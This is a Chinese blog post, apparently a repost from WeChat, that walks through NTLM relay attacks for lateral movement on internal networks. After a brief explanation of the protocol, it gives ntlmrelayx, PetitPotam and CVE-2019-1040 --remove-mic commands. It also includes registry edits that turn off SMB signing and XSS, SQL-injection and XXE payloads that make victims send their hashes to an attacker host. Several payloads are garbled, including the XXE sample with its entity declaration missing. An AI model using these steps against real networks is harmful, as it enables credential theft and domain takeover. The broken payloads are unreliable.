|
NTLM中继
本文主要讲解内网横向中NTLM中继的利用。NTLM是"NTLAN Manager"的缩写,是一种基于挑战应答的网络认证方式,在设计之初并没有规定NTLM的传输协议是什么,在实际的认证中SMB、LDAP、HTTP、MSSQL都可以作为其传输协议。这里需要介绍下NTLM Hash和Net -NTLM Hash的区别
NTLM Hash是存储在本地计算机的安全账户管理器 (SAM) 数据库或域控制器的 NTDS.dit 文件中的用户密码Hash值;
Net-NTLM Hash是由NTLM认证过程中客户端本地用户密码的Hash对服务端返回的challenge加密后返回给服务器用于验证的Response,这类Hash一般用于碰撞,在 Relay Attack攻击使用的正是这类Hash
|
漏洞信息
混子Hacker
01
NTLM中继原理
在NTLM认证过程中没有对双方身份进行认证,也就是可以存在一个中间人在客户端和服务器直接进行转发Relay(重放),从而客户端的Net-NTLM Hash并将其进行Relay(重放)到服务器从而完成认证。
Step 1:客户端向服务器发送用户名登录请求
Step 2:Type2 message(challenge):服务器接受请求之后查看SAM数据库是否存在用户Hash,存在的话生成一个challenge发送给客户端,并将challenge与Hash一起加密存储在本地
Step 3:Type3 message(authentication):客户端收到challenge之后将自己的密码Hash与challenge一起进行加密之后发送给服务器,服务器收到加密的数据之后与本地存储的加密信息进行对比是否相同
混子Hacker
02
中继攻击
nmap -n -p445 ip --script=smb-security-mod
路径:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanWorkstationParameters。
RequireSecuritySignature → 值设为0(禁用签名要求)
EnableSecuritySignature → 值设为0(禁用签名)
执行后需重启SMB服务生效:
Restart-Service LanmanServer -Force
Restart-Service LanmanWorkstation -Force
ntlmrelayx.py -t 受害者ip -c whoami -smb2support
xss:<imgsrc="\\ip\hunzihacker"onerror=alert(1)>
sql注入:select 1,(load_file('\\ip\hunzihacker')),3
xxe:
]>
<root>
<name></name>
<tel></tel>
<email>&hunzihacker;</email>
<password></password>
</root>
需要关闭ldap签名。默认情况下,ldap服务器就在域控里面,而且默认策略就是协商签名。而不是强制签名,客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的。
然而客户端发起使用SMB协议默认是要求签名的
如果直接修改标志位会导致MIC(消息完整性检查)
此时需要结合CVE-2019-1040进行绕过,将SMB Relay到LDAP
启动ntlmrelayx,指定LDAP为攻击目标(-t ldap://域控IP)
ntlmrelayx.py -t ldap://192.168.1.10 --remove-mic
# 参数解释:
# -t ldap://192.168.1.10 : 中继目标为域控的LDAP服务
# --remove-mic : 移除MIC标志(绕过某些签名检查)
python3 PetitPotam.py -d god.org -u hunzihacker -p Admin@123 kali-ip AD-ip
|
<<< END >>>
原创文章|转载请附上原文出处链接
更多漏洞|关注作者查看
作者|混子Hacker
原文始发于微信公众号(混子Hacker):【内网渗透基础】四、内网横向-NTLM中继攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论